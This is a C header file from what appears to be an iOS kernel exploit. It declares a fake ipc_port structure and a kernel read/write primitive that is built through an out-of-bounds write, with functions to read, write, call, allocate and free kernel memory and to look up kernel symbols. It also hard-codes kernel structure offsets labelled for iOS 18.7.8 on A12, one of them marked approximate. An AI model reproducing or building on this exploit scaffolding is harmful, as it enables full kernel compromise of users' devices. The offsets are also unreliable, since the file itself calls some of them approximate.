#ifndef KERNEL_RW_H
#define KERNEL_RW_H

#include "../Common/ExploitCore.h"

#ifdef __cplusplus
extern "C" {
#endif

// ============================================================================
// Kernel Read/Write Primitives via Fake ipc_port
// ============================================================================

// Fake ipc_port structure for kernel R/W
typedef struct {
    // ipc_object header
    uint32_t io_bits;           // io_bits (IO_BITS_ACTIVE | IKOT_PORT)
    uint32_t io_references;     // reference count
    // ipc_port
    uint64_t ip_receiver;       // ip_receiver (ipc_space_t)
    uint64_t ip_kobject;        // ip_kobject (points to target for read/write)
    uint64_t ip_nsrequest;      // ip_nsrequest
    uint64_t ip_pdrequest;      // ip_pdrequest
    uint64_t ip_requests;       // ip_requests (queue head)
    uint32_t ip_seqno;          // ip_seqno
    uint32_t ip_msgcount;       // ip_msgcount
    uint32_t ip_qlimit;         // ip_qlimit
    uint32_t ip_receiver_name;  // ip_receiver_name
    uint64_t ip_premsg;         // ip_premsg
    uint64_t ip_context;        // ip_context
    uint64_t ip_port_timestamp; // ip_port_timestamp
    // ... more fields
} fake_ipc_port_t;

// Kernel R/W context using fake port
typedef struct {
    kernel_rw_t krw;            // Function pointers for R/W
    uint64_t fake_port_addr;    // Address of fake port in kernel memory
    uint64_t real_port_addr;    // Address of real port we control
    mach_port_t real_port;      // Mach port handle
    uint64_t kernel_base;       // Kernel base address
    bool initialized;
} kernel_rw_ctx_t;

// Initialize kernel R/W primitive (requires OOB write capability)
exploit_error_t kernel_rw_init(kernel_rw_ctx_t *ctx, uint64_t kernel_base);

// Build fake ipc_port in kernel memory via OOB write
exploit_error_t kernel_rw_build_fake_port(kernel_rw_ctx_t *ctx, 
                                           exploit_error_t (*oob_write)(uint64_t, const void *, size_t));

// Establish kread/kwrite via fake port
exploit_error_t kernel_rw_establish(kernel_rw_ctx_t *ctx);

// Read kernel memory
bool kernel_read(kernel_rw_ctx_t *ctx, uint64_t addr, void *buf, size_t size);

// Write kernel memory
bool kernel_write(kernel_rw_ctx_t *ctx, uint64_t addr, const void *buf, size_t size);

// Call kernel function
uint64_t kernel_call(kernel_rw_ctx_t *ctx, uint64_t func, 
                     uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3, 
                     uint64_t x4, uint64_t x5);

// Allocate kernel memory
uint64_t kernel_alloc(kernel_rw_ctx_t *ctx, size_t size);

// Free kernel memory
void kernel_free(kernel_rw_ctx_t *ctx, uint64_t addr, size_t size);

// Find kernel symbol
uint64_t kernel_symbol(kernel_rw_ctx_t *ctx, const char *name);

// Cleanup
void kernel_rw_cleanup(kernel_rw_ctx_t *ctx);

// ============================================================================
// kalloc Zone Offsets (iOS 18.7.8 A12)
// ============================================================================

// ipc_port size in kalloc.256 (0x100 = 256 bytes)
#define IPC_PORT_SIZE               0x100
#define IPC_PORT_IO_BITS_OFFSET     0x00
#define IPC_PORT_IO_REFERENCES_OFFSET 0x04
#define IPC_PORT_IP_RECEIVER_OFFSET 0x08
#define IPC_PORT_IP_KOBJECT_OFFSET  0x10
#define IPC_PORT_IP_CONTEXT_OFFSET  0x48

// ipc_space offsets
#define IPC_SPACE_IS_TABLE_OFFSET   0x20
#define IPC_SPACE_IS_TABLE_SIZE_OFFSET 0x28

// task_struct offsets (for current_task())
#define TASK_ITK_SPACE_OFFSET       0x300  // Approximate, varies by iOS version
#define TASK_BSD_INFO_OFFSET        0x358

// proc_struct offsets
#define PROC_P_PID_OFFSET           0x10
#define PROC_TASK_OFFSET            0x18

// vm_map offsets
#define VM_MAP_HDR_OFFSET           0x0
#define VM_MAP_MIN_OFFSET           0x10
#define VM_MAP_MAX_OFFSET           0x18

#ifdef __cplusplus
}
#endif

#endif // KERNEL_RW_H